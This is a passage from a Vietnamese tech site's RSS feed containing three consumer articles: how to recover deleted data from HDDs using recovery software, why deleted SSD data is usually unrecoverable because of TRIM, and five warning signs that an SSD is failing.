										<content:encoded><![CDATA[<p><strong>Bài hướng dẫn khôi phục dữ liệu trên ổ cứng HDD cho người bắt đầu của bác<a href="https://www.facebook.com/thitluoc20" target="_blank" rel="noopener"> Andy Phạm</a> chia sẻ trên Group Nghiện Tech khá chi tiết dành cho những bạn mới tìm hiểu về cách lấy lại dữ liệu đã xóa trên ổ cứng HDD. Đây là toàn bộ bài viết của bác ấy đã chia sẻ:</strong></p>
<p>Nghe đến khôi phục dữ liệu, người dùng thường nghĩ đến những trung tâm chuyên nghiệp với hệ thống phòng lab tiên tiến. Anh em nào từng biết mình hồi còn ở VN, đội kỹ thuật của mình hỗ trợ kỹ thuật cho hàng loạt các nhà máy, trung tâm dữ liệu, ngân hàng… Số lượng máy tính lên tới vài ngàn, vì thế các ca mất dữ liệu cứ vài ngày lại phải xử lý một lần. Mỗi lần tuyển thêm bạn KTV mới, quẳng cho cái ổ cứng, vài phần mềm chuyên nghiệp, cho ngồi luyện tập, tự xóa, tự phục hồi, tự cảm nhận phương án tối ưu. Khoảng 3 ngày là có thể bắt đầu lên mạng nói chém gió, 1 tuần là nói chuyện bắt đầu rất thâm sâu rồi .</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/09/khoi-phuc-du-lieu-hdd.jpg" alt="Cách khôi phục dữ liệu trên ổ cứng HDD cho người bắt đầu" width="720" height="422" title="Cách khôi phục dữ liệu trên ổ cứng HDD cho người bắt đầu 48"></p>
<h2><strong>Mất dữ liệu thường liên quan đến</strong></h2>
<ol>
<li><strong>Phần cứng:</strong> ổ cứng bị rớt, chập cháy&#8230; việc khôi phục đòi hỏi các phòng lab với thiết bị chuyên dụng (cái này sẽ không bàn trong bài viết bên dưới)</li>
<li><strong>Phần mềm:</strong> virus cắn, xóa nhầm, format nhầm, cài win nhầm ổ&#8230; Cái này trong nhiều trường hợp có thể khôi phục hoàn hảo nếu được xử lý đúng cách.</li>
</ol>
<p>Vậy như thế nào là <strong>đúng cách</strong> và tại sao lại có thể <strong>khôi phục hoàn hảo</strong>, anh em nghe mình dài dòng một chút.</p>
<h3>Ghi/Write dữ liệu</h3>
<p><strong>Khi ghi/write một file</strong> mới lên ổ cứng, sau khi hoàn tất việc ghi file, hệ thống sẽ trở về bản FAT (File Allocation Table) &#8211; tạm gọi là sơ đồ phân bố file, và ghi lại thông tin về file đó như vị trí file, dung lượng….</p>
<h3>Đọc/Read dữ liệu</h3>
<p><strong>Lúc đọc/read file</strong> thì thứ tự ngược lại, hệ thống sẽ truy nhập bản FAT trước, dựa theo chỉ dẫn của bản FAT để tìm đến vị trí thực tế của file trên ổ cứng (không phải là như anh em nhập môn nghĩ là hệ thống xống thẳng đến chỗ file đó luôn). Đến đây anh em có thể hình dung bản FAT như một &#8220;bản đồ&#8221; cho ổ cứng.</p>
<p>Nếu ví file như những ngôi nhà, toàn bộ ổ cứng là một thành phố (Hà nội chẳng hạn) thì bản FAT chính là bản đồ thành phố Hà nội, cả hệ thống sẽ vận hành xoay “bản đồ” này.</p>
<h3>Xóa/Delete dữ liệu</h3>
<p><strong>Khi xóa một file</strong>, hệ thống xóa thông tin về file này trên &#8220;bản đồ&#8221; FAT chứ không xóa file thực tế trên ổ cứng. Vùng đĩa cứng mà file đó tồn tại sẽ coi như là đất hoang (free). Lần tới có file mới cần tạo/write thì cứ ghi đè lên thôi. Chính vì thế nếu anh em nào tinh ý sẽ thấy quá trình xóa file rất nhanh (nhiều khi vài trăm file cũng chỉ trong vài giây), trong khi quá trình copy/write file đó có thể lên tới vài tiếng đồng hồ. Đây là <strong>điểm mấu chốt</strong> để các để các phần mềm khôi phục dữ liệu có thể lấy lại dữ liệu.</p>
<p><strong>Vậy các phần mềm khôi phục dữ liệu làm việc như thế nào?</strong> Các phần mềm khôi phục dữ liệu sẽ bỏ qua &#8220;bản đồ&#8221; FAT mà quét trực tiếp ổ cứng để tìm ra file thực tế, quá trình quét chi tiết đến từng block của HDD để đảm bảo tính toàn vẹn của file, vì thế nó thường rất lâu (sơ sơ cũng vài giờ). Phần mềm khôi phục như anh cán bộ địa chính cần mẫn, dò dẫm đến từng ngôi nhà trong thành phố, đo đạc thực tế để khôi phục lại bản đồ gốc: lô biệt thự A1, A2, A3 này là của anh Chung chủ tịch, lô liền kề B2, B3 kia là của anh Quyết… và cứ thế cho đến khi bản đồ thành phố được khôi phục, dữ liệu được phục hồi.</p>
<p>Ví dụ này có thể không phản ánh chính xác 100% thực tế vận hành của hệ thống, nhưng qua đó anh em nắm được một điểm mấu chốt: các lệnh xóa/format do người dùng (người dùng thôi nhé) <strong>không xóa trực tiếp file trên ổ cứng</strong>, dữ liệu vẫn còn đó. Vì thế với một phần mềm trung bình + kỹ năng tiêu chuẩn, anh em đều có thể khôi phục dữ liệu về mức hoàn hảo.</p>
<h2>Kiến thức thường gặp:</h2>
<h3><strong>Format nhiều lần có cứu được không?</strong></h3>
<p>Có. Format (quick format) chỉ khác lệnh xóa là nó xóa trắng toàn bộ bản FAT (thay vì chỉ xóa một vài thông tin trên bản FAT như lệnh xóa). Dữ liệu vẫn còn nguyên trên ổ cứng. Format nhiều lần không khác gì so với format một lần (xóa đi xóa lại bản FAT thôi). Mặc dù đứng từ phía người dùng nhìn lại, format nhiều lần khủng khiếp hơn format một lần rất nhiều lần.</p>
<h3><strong>Yếu tố nào ảnh hưởng đến việc khôi phục dữ liệu trên HDD?</strong></h3>
<p>Như phân tích ở trên, sau khi xóa, thông tin về file sẽ được gỡ bỏ trên &#8220;bản đồ&#8221; FAT, mặc dù dữ liệu vẫn còn nguyên đó, nhưng vùng đất đó đối với hệ thống là vùng đất hoang, sẵn sàng cho bất kỳ ghi nào tiếp tới. Vì thế sau khi xóa file mà người dùng vẫn tiếp tục dùng máy tính thì tỷ lệ khôi phục sẽ bé đi theo thời gian, hoặc file khôi phục lại được sẽ không hoàn thiện (dẫn đến không mở ra được). Một nguyên nhân khác là kỹ thuật viên thiếu kinh nghiệm cài phần mềm khôi phục lên chính ổ cứng cần khôi phục, chính phần mềm này sẽ ghi đề lên “vùng đất” có file cần khôi phục.</p>
<h3><strong>SSD khi xóa nhầm có khôi phục được không?</strong></h3>
<p>Không, cụ thể anh em có thể đọc <a href="https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/">tại đây</a>.</p>
<h3><strong>Nên dùng phần mềm khôi phục dữ liệu nào?</strong></h3>
<p>Một phần mềm trung bình + kỹ năng tốt ⇒ khả năng phục hồi dữ liệu trên HDD có thể tiệm cận 100%. Vì thế kỹ năng phục hồi vẫn là điểm mấu chốt. Anh em có thể tham khảo các phần mềm khôi phục xuất sắc nhất tại đây:</p>
<ol>
<li>Thứ nhất là <strong>R-Studio</strong>, thằng này không phải là thằng dễ dùng nhất, nhưng tuyệt đối là thằng bá đạo nhất. Cách đây khoảng 15 năm gì đó, cụm RAID server khách hàng bị sập, đặt hàng đồ thay thế mất khoảng 2 tuần, mà khách hàng là đơn vị sản xuất, không đợi được lâu thế, mình đã dùng nó để nhấc toàn bộ dữ liệu ra khỏi cụm RAID của server bị sập, rồi đưa ra một máy Windows bình thường, share cho toàn bộ nhà máy dùng tạm. Tại thời điểm đó, mỗi nó làm được. Sau này, có thể một vài phần mềm có tính năng này. Nhưng nó vẫn là thằng số 1, quan trọng là sử dụng tốt trong môi trường chuyên nghiệp nhất, được thừa nhận bởi những IT khó tính nhất.</li>
<li>Thứ hai là <strong>EaseUS Data Recovery</strong> mạnh mẽ, dễ dùng, mình đã có bài riêng về thằng này rồi</li>
<li>Thứ ba là <strong>Stellar Data Recovery</strong>, <strong>GetDataBack</strong>,&#8230; Bây giờ có thể <strong>GetDataBack</strong> và một số phần mềm khác được biết đến nhiều hơn R-Studio, nhưng lúc R-Studio được 4-5 tuổi rồi, <strong>GetDataBack</strong> mới bắt đầu gia nhập thị trường phần mềm khôi phục dữ liệu. (2 phần mềm này lâu lâu vẫn được giveaway bản quyền, bạn có thể canh để tìm Key nhé)</li>
</ol>
<h3><strong>Lời khuyên dành cho KTV nhập môn?</strong></h3>
<p>Khôi phục dữ liệu trên ổ cứng HDD bằng phần mềm <strong>không khó</strong>, bằng chứng là rất nhiều người dùng thông thường đã thành công. Nhưng để đạt tỷ lệ thành công tiệm cận 100% đòi hỏi KTV thao tác chuẩn chỉ:</p>
<ol>
<li>Yêu cầu người dùng dừng thao tác ngay sau khi xóa nhầm</li>
<li>Tiến hành sao lưu ổ cứng bị xóa nhầm trước khi khôi phục</li>
<li> Cài đặt phần mềm khôi phục ra một ổ cứng riêng rẽ, hay nhất là dùng USB boot riêng</li>
<li> File khôi phục phải được copy ra một ổ cứng riêng rẽ (tuyệt đối không được copy vào ổ cứng đang bị xóa nhầm). Mọi sai lầm nhỏ sẽ khiến khả năng khôi phục giảm đi đáng kể.</li>
</ol>
<p style="text-align: right;"><em>Bạn có thể thảo luận tại bài viết của <a href="https://www.facebook.com/groups/nghientechvn/posts/656195932379651/?__cft__[0]=AZUX9wv7hDHaI1phw3Ef7pPYMpbyY4bmaAIqnJbTasDlcFGy8Yc9vOe04e8TljRVQ0kKyRWVjurAn-kr1v5iT_UXo57PMJDZIMQqpMC9beL7L42iLi8xLQwJQwKU_spnKM_FUVXeL8uw5A_WJYO_-i7h5C7JbYlaOfZbvplJeun846iPK9eAvQFXaMARVU4nrb8&amp;__tn__=%2CO%2CP-R" target="_blank" rel="noopener"><strong>Group Nghiện Tech</strong></a></em></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ổ cứng HDD bị format nhiều lần có thể khôi phục dữ liệu được không?</h3>
<p>Có thể.  Quick format chỉ xóa bảng phân bổ tệp (FAT), dữ liệu vẫn còn trên ổ cứng. Format nhiều lần không làm thay đổi điều này.</p>
<h3>Những yếu tố nào ảnh hưởng đến việc khôi phục dữ liệu HDD?</h3>
<p>Thời gian trôi qua sau khi xóa file và việc ghi dữ liệu mới lên ổ cứng sẽ giảm khả năng khôi phục. Cài đặt phần mềm khôi phục lên chính ổ cứng cần khôi phục cũng làm giảm hiệu quả.</p>
<h3>Tôi nên sử dụng phần mềm khôi phục dữ liệu nào?</h3>
<p>Nhiều phần mềm hiệu quả, nhưng kỹ năng người dùng mới là yếu tố quyết định.  R-Studio, EaseUS Data Recovery và Stellar Data Recovery là những lựa chọn tốt.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-khoi-phuc-du-lieu-tren-o-cung-hdd/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Có thể khôi phục dữ liệu trên ổ cứng SSD không?</title>
		<link>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/</link>
					<comments>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 25 Sep 2022 09:14:45 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[khôi phục dữ liệu]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=43666</guid>

					<description><![CDATA[Bài viết này của bác Andy Pham trong Group Nghiện Tech, có phân tích khá dễ hiểu về cơ chế hoạt động của SSD và những lý do có thể/không thể khôi phục dữ liệu trên ổ cứng SSD. SSD/TRIM &#8211; Khôi phục dữ liệu SSD trên Mac/Win Mọi người thường gọi SSD là ổ [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Bài viết này của bác <a href="https://www.facebook.com/thitluoc20" target="_blank" rel="noopener">Andy Pham</a> trong Group Nghiện Tech, có phân tích khá dễ hiểu về cơ chế hoạt động của SSD và những lý do có thể/không thể khôi phục dữ liệu trên ổ cứng SSD.</strong></p>
<h2><strong>SSD/TRIM &#8211; Khôi phục dữ liệu SSD trên Mac/Win</strong></h2>
<p>Mọi người thường gọi <a href="https://anonyviet.com/?s=ssd">SSD</a> là ổ cứng, thực chất nó là chip nhớ, nó làm việc như một chip nhớ (memory/flash). Vì thế, nếu nhìn nhận SSD từ góc độ của một chíp nhớ thì mọi vấn đề loằng ngoằng sẽ được giải thích một cách dễ dàng hơn.</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/09/khoi-phuc-du-lieu-ssd.jpg" alt="khoi phuc du lieu ssd" width="670" height="404" title="Có thể khôi phục dữ liệu trên ổ cứng SSD không? 50"></p>
<h3><strong>SSD mặc định sẽ xóa triệt để:</strong></h3>
<p>Do SSD là một chip nhớ, nên nó phải được xóa trắng trước khi nó có thể ghi vào (khác với đĩa từ HDD). Thường thì lúc hệ thống <strong>xóa file</strong>, hệ thống chỉ <strong>đánh dấu không dùng nữa</strong> (mark as unused). Vì thế, lúc nào muốn ghi dữ liệu vào những chỗ đó, SSD bắt buộc phải xóa trước rồi mới ghi được. Việc này khiến<strong> quá trình ghi dữ liệu kéo dài gấp đôi. </strong></p>
<p>SSD nhanh thế thì cho dù kéo dài gấp đôi cũng không đáng bao nhiêu, có thể một vài bạn sẽ nghĩ vậy. Trong môi trường thực tế, SSD thực hiện cả ngàn lần ghi/đọc trong một phút thì cái gấp đôi đó được nhân lên ngàn lần, sẽ là một gánh nặng rất lớn, khiến hệ thống giảm hiệu năng một cách kinh ngạc.</p>
<p><strong>TRIM</strong> sinh ra để giải quyết vấn đề “hiệu năng” này. Trong lúc Hệ điều hành làm các việc khác, SSD đang rảnh rang, TRIM sẽ ra lệnh cho nó thong thả đi xóa trắng những chỗ đã được <strong>đánh dấu không dùng nữa, </strong>sẵn sàng cho lệnh ghi tiếp tới, đây là lệnh xóa triệt để được thực hiện bởi chính <strong>controller của SSD</strong>. <strong><em>Vì thế nếu dữ liệu bị xóa nhầm trên ổ SSD thì không thể khôi phục được cho dù là bởi những trung tâm khôi phục dữ liệu tiên tiến nhất.</em></strong></p>
<h3><strong>SSD có khả năng Chống phân mảnh</strong>:</h3>
<p>Do là chip nhớ, nên SSD ghi dữ liệu vào theo khối (block). Mình nói nôm na một khối có 5 đơn vị dữ liệu chẳng hạn. Nếu mà File dữ liệu cần ghi có 6 đơn vị dữ liệu, vậy phải dùng 2 khối (khối thứ nhất có 5 đơn vị và <strong>khối thứ hai </strong>lại chỉ có 1 đơn vị). Vậy là <strong>khối thứ 2</strong> còn 4 đơn vị để trống. Đáng buồn là lần ghi dữ liệu tới, SSD lại không tận dụng được 4 đơn vị để trống này mà phải ghi ra một khối mới (<em>vì nó ghi theo khối, đơn giản vậy thôi</em>).</p>
<p>Anh em có thể thấy, nếu là file dữ liệu luôn là 5, 10, 15, 20 đơn vị dữ liệu gì đó, thì mọi thứ sẽ rất đẹp, SSD sẽ ghi nó thành 1,2,3,4 khối dữ liệu, sẽ không có khối dữ liệu nào bị dư thừa vài chỗ trống. Đời không đẹp thế, việc đó vốn hiếm xảy ra trong thực tế. Vì thế, kiểu gì <strong>khối cuối cùng</strong> cũng bị trống vài đơn vị (lãng phí nho nhỏ). Với tốc độ khủng khiếp của SSD hiện nay, ghi đọc hàng ngàn file trong vài phút, số lượng khối cuối cùng này tăng nhanh một cách chóng mặt, đến đây thì lãng phí không còn nhỏ nữa mà bắt đầu rất lớn rồi</p>
<p>Để giải quyết vấn đề này, hệ thống có một phương án rất hay, trong lần ghi tiếp tới, OS sẽ đọc cái đơn vị dữ liệu lẻ loi ở <strong>khối thứ hai</strong> bên trên ra một bộ nhớ tạm (cache), ghép nó với 4 đơn vị dữ liệu khác cho thành 1 khối chuẩn rồi ghi ngược lại vào SSD, như thế không lãng phí tý nào, vừa đẹp. Nhưng vấn đề mới lại đặt ra, SSD phải thực hiện cả ngàn vụ như thế trong một phút (đọc dữ liệu ra, ghép khối, ghi ngược lại), nghe thôi đã thấy rầy rà, lãng phí thời gian một cách kinh khủng, mà trong thế giới công nghệ này, thời gian là tốc độ.</p>
<p>TRIM sinh ra để làm việc đó, nó vẫn làm mấy việc bên trên thôi, nhưng nó lặng lẽ làm lúc SSD rảnh rỗi, vì thế, nó không làm ảnh hưởng gì đến tốc độ của SSD.</p>
<h3><strong>Mình lấy một ví dụ thực tế như thế này:</strong></h3>
<p>trong lớp học cứ 5 người ngồi một bàn, nhưng nếu có 6 người thì bắt buộc phải dùng 2 bàn, <strong>ông thứ sáu</strong> sẽ ngồi bàn thứ hai, ông ấy ngồi <strong>ngay đầu bàn</strong>, mỗi lần có người muốn ngồi vào bàn thứ hai này, <strong>ông thứ 6</strong> này lại phải đi ra khỏi chỗ để cho người ta vào rồi mới ngồi được (<em>giống quá trình caching bên trên</em>). Lớp học thì chỉ cần khoảng 10 ông ngồi đầu bàn như <strong>ông thứ sáu</strong> này là chắn hết chỗ ngồi (<em>phân mảnh, lãng phí chỗ ngồi</em>).</p>
<p>Cô giáo chủ nhiệm TRIM sẽ giải quyết vấn đến này, TRIM sẽ gom các <strong>ông ngồi đầu bàn</strong> này thành một nhóm 5 người rồi nhét vào 1 bàn. Như thế, cô giáo chủ nhiệm TRIM giải quyết được 2 vấn đề: các bàn còn lại đều sẵn sàng để cho người mới vào ngồi, thứ hai là mọi người ngồi tập trung (không bị phân mảnh). Chính vì thế mọi người đều nói SSD không bao giờ bị phân mảnh.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể khôi phục dữ liệu đã xóa trên ổ cứng SSD không?</h3>
<p>Thường thì không.  Khi bạn xóa dữ liệu trên SSD, lệnh TRIM sẽ xóa dữ liệu đó một cách triệt để, ngay cả các phần mềm khôi phục dữ liệu tiên tiến cũng khó có thể phục hồi.</p>
<h3>TRIM hoạt động như thế nào và tại sao nó lại ảnh hưởng đến việc khôi phục dữ liệu?</h3>
<p>TRIM là một lệnh cho phép SSD xóa dữ liệu một cách hiệu quả, giúp tăng tốc độ ghi.  Tuy nhiên, quá trình này xóa dữ liệu vĩnh viễn, làm cho việc khôi phục trở nên bất khả thi.</p>
<h3>Ổ cứng SSD có bị phân mảnh không?</h3>
<p>Không, SSD không bị phân mảnh theo nghĩa truyền thống như ổ cứng HDD.  Cơ chế hoạt động của SSD và lệnh TRIM giúp tối ưu hóa việc ghi dữ liệu, tránh tình trạng phân mảnh gây giảm hiệu suất.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>5 dấu hiệu cảnh báo SSD sắp bị hư</title>
		<link>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/</link>
					<comments>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 20 Sep 2022 00:51:19 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=36115</guid>

					<description><![CDATA[Ổ cứng thể rắn (SSD) nhanh hơn, ổn định hơn và tiêu thụ ít điện hơn so với ổ cứng truyền thống (HDD). Nhưng SSD không hoàn hảo và có thể hỏng trước tuổi thọ dự kiến ​​từ bảy đến mười năm. Tốt nhất là bạn nên chuẩn bị cho tình huống xấu nhất. Nếu [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ổ cứng thể rắn (<a href="https://anonyviet.com/?s=t%C3%ACm+hi%E1%BB%83u+ssd">SSD</a>) nhanh hơn, ổn định hơn và tiêu thụ ít điện hơn so với ổ cứng truyền thống (HDD). Nhưng SSD không hoàn hảo và có thể hỏng trước tuổi thọ dự kiến ​​từ bảy đến mười năm.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/11/ssd-warning.jpg" alt="5 dấu hiệu cảnh báo SSD của bạn sắp hỏng" width="943" height="472" title="5 dấu hiệu cảnh báo SSD sắp bị hư 58"></p>
<p>Tốt nhất là bạn nên chuẩn bị cho tình huống xấu nhất. Nếu bạn biết cách nhận biết ổ SSD có bị lỗi hay không và cách bảo vệ mình, bạn sẽ không phải là nạn nhân của các sự cố liên quan đến SSD.</p>
<h2>Tại sao SSD lại bị lỗi?</h2>
<p>Không giống như trong ổ cứng HDD, không có đĩa chuyển động vật lý trong ổ SSD, vì vậy nó không bị các vấn đề về đĩa cứng cũ. Tuy nhiên, trong SSD còn có rất nhiều thành phần khác cũng dễ hỏng không kém.</p>
<p>SSD yêu cầu một tụ điện và bộ nguồn, rất dễ bị hư — đặc biệt là trong trường hợp mất điện đột ngột. Trên thực tế, trong trường hợp mất điện, ổ SSD cũng có khả năng làm hỏng dữ liệu hiện có, ngay cả khi bản thân ổ không bị lỗi hoàn toàn.</p>
<p>Một vấn đề khác có thể xảy ra với SSD là chúng có chu kỳ đọc/ghi hạn chế, một vấn đề tồn tại với tất cả các loại bộ nhớ flash.</p>
<p>Tuổi thọ SSD sẽ kéo dài trung bình nhiều năm, có thể lâu hơn nhiều so với mức bạn cần, vì vậy bạn không nên lo lắng về điều này. Trên thực tế, nếu bạn đã mua một ổ SSD trong vài năm trở lại đây, thì nghiên cứu đã chỉ ra rằng các ổ SSD mới ít bị các vấn đề đọc/ghi này hơn những ổ cũ.</p>
<p>Dù bằng cách nào, chu kỳ đọc/ghi vẫn sẽ ảnh hưởng đến việc bạn có thể ghi dữ liệu vào SSD của mình hay không. Vì bạn vẫn có thể đọc dữ liệu của mình nên tất cả dữ liệu đó đều có thể được truy xuất. Tuy nhiên, mình nghĩ là bạn vẫn muốn biết khi nào SSD gần hết tuổi thọ để có thể nâng cấp.</p>
<h2>Cách kiểm tra tình trạng của ổ SSD</h2>
<p>&nbsp;</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-crystal-disk-mark-640x428-2.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 27" width="320" height="214" title="5 dấu hiệu cảnh báo SSD sắp bị hư 59"></p>
<p>Ổ cứng hoạt động liên tục là một cách dễ dàng để biết liệu nó có bị lỗi hay không. Tuy nhiên, không giống như ổ cứng HDD, ổ SSD sẽ không phát ra tiếng ồn để báo cho bạn biết rằng có điều gì đó không ổn.</p>
<p>Cách dễ dàng và đáng tin cậy nhất để tìm hiểu xem ổ đĩa của bạn có chạy trơn tru hay không là cài đặt phần mềm kiểm tra và âm thầm theo dõi lỗi. Người dùng Windows có thể muốn dùng thử <a href="http://crystalmark.info/download/index-e.html" target="_blank" rel="noopener">CrystalDiskMark</a>, người dùng macOS có thể xem qua <a href="http://www.corecode.at/smartreporter_lite/index.html" target="_blank" rel="noopener">Smart Reporter Lite</a>, trong khi <a href="https://www.hdsentinel.com/download.php" target="_blank" rel="noopener">Hard Disk Sentinel</a> sẽ tốt hơn cho Linux.</p>
<p>Ngoài ra, đây là một số dấu hiệu cần chú ý, các triệu chứng của ổ đĩa xấu và những gì bạn có thể làm với nó.</p>
<h2>1. Các lỗi liên quan đến các khối không hợp lệ</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-bad-blocks-640x409-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 28" width="480" height="307" title="5 dấu hiệu cảnh báo SSD sắp bị hư 60"></p>
<p>Cũng giống như bad sector trên HDD, có những khối xấu trên SSD. Đây thường là một tình huống trong đó máy tính cố gắng đọc hoặc lưu một tệp, nhưng nó mất một thời gian dài bất thường và kết thúc không thành công, vì vậy hệ thống cuối cùng đưa ra một thông báo lỗi.</p>
<p>Các triệu chứng phổ biến của khối xấu là:</p>
<ol>
<li>Không thể đọc hoặc ghi tệp vào ổ cứng.</li>
<li>PC/hệ thống tệp của bạn cần được sửa chữa.</li>
<li>Các ứng dụng đang hoạt động thường bị treo.</li>
<li>Lỗi thường xuyên khi di chuyển tệp.</li>
<li>Nói chung chạy chậm, đặc biệt là khi truy cập các tệp lớn.</li>
</ol>
<p>Trong trường hợp bạn thấy bất kỳ triệu chứng nào trong số này, cách tốt nhất là chạy phần mềm giám sát ổ đĩa và kiểm tra xem có bất kỳ vấn đề vật lý nào với ổ đĩa của bạn hay không. Nếu có, hãy sao lưu các tệp của bạn ngay lập tức và bắt đầu mua một ổ SSD mới đi nhé :v.</p>
<h2>2. Không thể đọc hoặc ghi file</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-drive-cannot-read-written-640x320-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 29" width="480" height="240" title="5 dấu hiệu cảnh báo SSD sắp bị hư 61"></p>
<p>Có hai cách mà một khối xấu có thể ảnh hưởng đến tệp của bạn:</p>
<ol>
<li>Hệ thống phát hiện khối xấu trong khi ghi dữ liệu vào ổ đĩa và do đó từ chối ghi dữ liệu.</li>
<li>Hệ thống phát hiện khối xấu sau khi dữ liệu đã được ghi và do đó từ chối đọc dữ liệu đó.</li>
</ol>
<p>Trong trường hợp đầu tiên, dữ liệu của bạn chưa bao giờ được ghi, vì vậy nó không bị hỏng. Thông thường, hệ thống sẽ giải quyết nó một cách tự động. Trong trường hợp không xảy ra, bạn có thể khắc phục sự cố này bằng cách cố gắng lưu tệp ở một vị trí khác hoặc bằng cách sao chép tệp vào đám mây, khởi động lại máy tính của bạn, sau đó lưu lại vào ổ đĩa của bạn.</p>
<p>Rất tiếc, trong trường hợp thứ hai, dữ liệu của bạn không thể dễ dàng truy xuất được. Bạn có thể thử một số phương pháp để khôi phục dữ liệu từ ổ SSD bị lỗi, nhưng đừng hy vọng nhiều. Thường thì dữ liệu được ghi trên các khối xấu đều biến mất.</p>
<h2>3. Hệ thống tệp cần sửa chữa</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-Your-PC-Needs-To-Be-Repaired-BSOD-640x210-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 30" width="640" height="210" title="5 dấu hiệu cảnh báo SSD sắp bị hư 62"></p>
<p>Bạn đã bao giờ thấy một thông báo lỗi như thế này bật lên trên màn hình của bạn, trên Windows hoặc macOS chưa? Đôi khi điều này có thể xảy ra đơn giản vì không tắt máy tính của bạn đúng cách. Tuy nhiên, đó cũng có thể là dấu hiệu cho thấy SSD của bạn đang phát triển các khối lỗi hoặc có vấn đề ở cổng kết nối.</p>
<p>Rất may, việc giải quyết rất dễ dàng. Windows, macOS và Linux được tích hợp sẵn các công cụ sửa chữa hệ thống tệp bị hỏng. Khi gặp lỗi như vậy, mỗi hệ điều hành sẽ nhắc bạn chạy công cụ tương ứng của chúng, vì vậy hãy làm theo các bước và sửa chữa hệ thống tệp.</p>
<p>Có khả năng mất một số dữ liệu trong quá trình này và việc khôi phục dữ liệu có thể khó khăn. Đó là một lý do chính đáng khác để bạn sao lưu tất cả các tệp của bạn theo định kỳ.</p>
<h2>4. Sự cố thường xuyên trong quá trình khởi động</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-boot-error-640x270-1.png" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 31" width="640" height="270" title="5 dấu hiệu cảnh báo SSD sắp bị hư 63"></p>
<p>Nếu PC của bạn gặp sự cố trong quá trình khởi động nhưng hoạt động tốt sau khi nhấn nút reset một vài lần, thì có khả năng là do ổ đĩa của bạn. Đó có thể là một khối bị lỗi hoặc dấu hiệu của một ổ đĩa sắp chết, vì vậy tốt nhất bạn nên sao lưu dữ liệu của mình trước khi mất bất kỳ dữ liệu nào.</p>
<p>Để kiểm tra xem đó có phải là do ổ đĩa hay không, hãy tải xuống và chạy một trong các công cụ chẩn đoán đã nói ở trên. Nếu bạn đã sao lưu dữ liệu của mình, bạn cũng có thể thử định dạng ổ đĩa của mình và cài đặt lại hệ điều hành.</p>
<h2>5. Ổ cứng chuyển sang chế độ chỉ đọc</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-destination-read-only-640x221-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 32" width="640" height="221" title="5 dấu hiệu cảnh báo SSD sắp bị hư 64"></p>
<p>Nó không phải là phổ biến, nhưng một số người dùng đã gặp phải vấn đề này. SSD của bạn có thể từ chối cho phép bạn thực hiện bất kỳ hoạt động nào yêu cầu nó ghi dữ liệu vào ổ đĩa. Tuy nhiên, nó vẫn có thể hoạt động ở chế độ chỉ đọc. Đối với tất cả các mục đích sử dụng, ổ đĩa này dường như đã chết, nhưng dữ liệu của bạn vẫn có thể được phục hồi!</p>
<p>Trước khi vứt bỏ ổ SSD mà bạn cho rằng đã hỏng, hãy thử kết nối nó dưới dạng ổ cứng ngoài hoặc ổ cứng phụ với một máy tính khác. Đảm bảo rằng bạn không khởi động hệ điều hành từ SSD; bạn cần sử dụng ổ đĩa chính của máy tính cho việc đó.</p>
<p>Trong trường hợp SSD vẫn hoạt động ở chế độ chỉ đọc, bạn vẫn có thể truy xuất tất cả các tệp của mình trước khi xóa SSD một cách an toàn.</p>
<h2>Cách kéo dài tuổi thọ của ổ SSD</h2>
